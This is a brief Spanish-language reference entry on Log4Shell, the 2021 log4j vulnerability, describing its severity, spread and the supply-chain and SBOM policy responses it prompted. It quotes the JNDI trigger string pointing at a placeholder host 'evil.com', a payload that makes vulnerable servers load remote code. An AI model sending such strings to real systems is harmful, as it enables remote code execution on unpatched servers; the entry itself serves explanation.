Log4Shell
Vulnerabilidad catastrófica en la biblioteca de logging de Java log4j (dic. 2021) — bastaba con registrar una cadena de texto para ejecutar código arbitrario.
Disparador: ${jndi:ldap://evil.com/x}. Log4j está presente en miles de millones de sistemas Java en todo el mundo. CVSS 10.0. Semanas de parcheo de pánico. Símbolo del riesgo de cadena de suministro en las dependencias de código abierto. Impulsó iniciativas en la UE y EE. UU. sobre SBOM y reporte de vulnerabilidades.